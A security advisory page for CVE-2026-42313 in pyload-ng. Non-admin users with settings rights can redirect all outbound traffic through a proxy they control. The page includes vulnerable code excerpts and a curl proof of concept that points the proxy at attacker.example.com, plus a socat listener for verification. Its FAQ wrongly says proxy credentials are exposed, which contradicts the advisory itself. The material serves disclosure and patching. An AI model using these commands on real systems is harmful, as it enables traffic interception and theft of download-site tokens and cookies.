CVE-2026-42313: pyload-ng: non-admin SETTINGS users can redirect all outbound traffic through an attacker-controlled proxy

Published May 4, 2026
·
Updated

Summary

The setconfigvalue() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/init.py gates security-sensitive options behind a hand-maintained allowlist ADMINONLYCOREOPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker.

Gating only the proxy credentials is ineffective: the attacker is the proxy endpoint, so they do not need pyload's proxy-auth secret. proxy.username / proxy.password were designed so an admin could authenticate to a trusted corporate proxy; they do not help when the non-admin attacker is free to choose the proxy itself.

This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. CVE-2026-35586 in particular bundled three related SSL-cert options into one advisory on the same rationale applied here — the four proxy. fields are jointly required to weaponize the miss and are patched together.

Details

Writer — src/pyload/core/api/init.py, setconfigvalue() (around lines 215–290). The allowlist:

python ADMINONLYCOREOPTIONS = { ("general", "storagefolder"), ("log", "sysloghost"), ("log", "syslogport"), ("proxy", "password"), ("proxy", "username"), # <-- credentials gated ("reconnect", "script"), ("webui", "host"), ("webui", "sslcertfile"), ("webui", "sslkeyfile"), ("webui", "sslcertchain"), ("webui", "usessl"), }

("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), ("proxy", "type") are absent.

Reader — src/pyload/core/network/requestfactory.py:82-100:

python def getproxies(self): if not self.pyload.config.get("proxy", "enabled"): return {} proxytype = self.pyload.config.get("proxy", "type") proxyhost = self.pyload.config.get("proxy", "host") proxyport = self.pyload.config.get("proxy", "port") proxyusername = self.pyload.config.get("proxy", "username") or None proxypassword = self.pyload.config.get("proxy", "password") or None return {"type": proxytype, ..., "host": proxyhost, "port": proxyport, ...}

Sink — src/pyload/core/network/http/httprequest.py (around lines 211–230) passes the dict to pycurl via PROXY / PROXYPORT / PROXYTYPE options. getproxies() is called every time a new pycurl handle is constructed, so the new proxy config takes effect on the next outbound request — no restart required.

PoC

Authenticated as any user with Perms.SETTINGS (non-admin role):

bash 1) Log in as the SETTINGS (non-admin) user. curl -c cookies.txt -X POST http://pyload.example:8000/api/login \ -d 'username=settingsuser&password=<password>'

2) Redirect all outbound traffic through attacker.example.com:8080. for kv in \ 'category=proxy&option=enabled&value=True' \ 'category=proxy&option=host&value=attacker.example.com' \ 'category=proxy&option=port&value=8080' \ 'category=proxy&option=type&value=http' ; do curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \ -d "$kv&section=core" done

3) Enqueue any download (or wait for any periodic update / captcha fetch). The attacker's server receives the full request — URL, query string (often carrying auth tokens on download sites), headers, cookies — and can inject an arbitrary response body.

Verification: run a raw HTTP listener on attacker.example.com:8080 (e.g. socat -v TCP-LISTEN:8080,fork,reuseaddr -), trigger any pyload download, and observe the full request on the listener.

Impact

- Who: any authenticated user whose role was granted Perms.SETTINGS. Multi-user pyload deployments that delegate settings administration to non-admins are the primary blast radius. - What: 1. Full interception of all outbound HTTP traffic: URLs (including embedded tokens), headers, cookies (download-site session IDs), request bodies, and response bodies flow through the attacker. 2. Credential theft from any download-site auth cookies or bearer tokens that affected plugins send. 3. Arbitrary response injection — poisoned archive files into the extractor pipeline; poisoned HTML into anticaptcha solvers; arbitrary content into the update checker. 4. Chains with the sibling sslverify advisory: if the attacker additionally sets general.sslverify=off (same authz family), the MitM works for HTTPS too, with forged certs accepted for any hostname. Both settings together let the attacker fully weaponize what setconfigvalue already permits to a SETTINGS user. - Why gating the credentials alone is insufficient: already covered in the summary — the attacker owns the proxy endpoint, so they do not need pyload's proxy-auth creds.

Other sources

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the setconfigvalue() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/init.py gates security-sensitive options behind a hand-maintained allowlist ADMINONLYCOREOPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker. This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. This vulnerability is fixed in 0.5.0b3.dev100.

— MITRE

Affected Software

2 affected componentsFixes available
pip/pyload-ng<=0.5.0b3.dev99
0.5.0b3.dev100
Pyload-ng Project Pyload-ng Python<0.5.0b3.dev100

Event History

May 4, 2026
Advisory Published
via GitHub·10:08 PM
Data Sourced
via GitHub·10:08 PM
DescriptionSeverityWeaknessAffected Software
May 11, 2026
CVE Published
via MITRE·04:30 PM
Data Sourced
via MITRE·04:30 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-42313?

CVE-2026-42313 is classified as a medium severity vulnerability due to potential exposure of sensitive configuration options.

2

How do I fix CVE-2026-42313?

To fix CVE-2026-42313, upgrade to pyload-ng version 0.5.0b3.dev100 or later.

3

What components are affected by CVE-2026-42313?

CVE-2026-42313 affects the pyload-ng package version up to 0.5.0b3.dev99.

4

What is the impact of CVE-2026-42313?

The impact of CVE-2026-42313 includes the risk of unauthorized exposure of sensitive settings like proxy credentials.

5

Does CVE-2026-42313 require immediate attention?

Yes, CVE-2026-42313 requires immediate attention to prevent potential exploitation of sensitive configuration settings.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203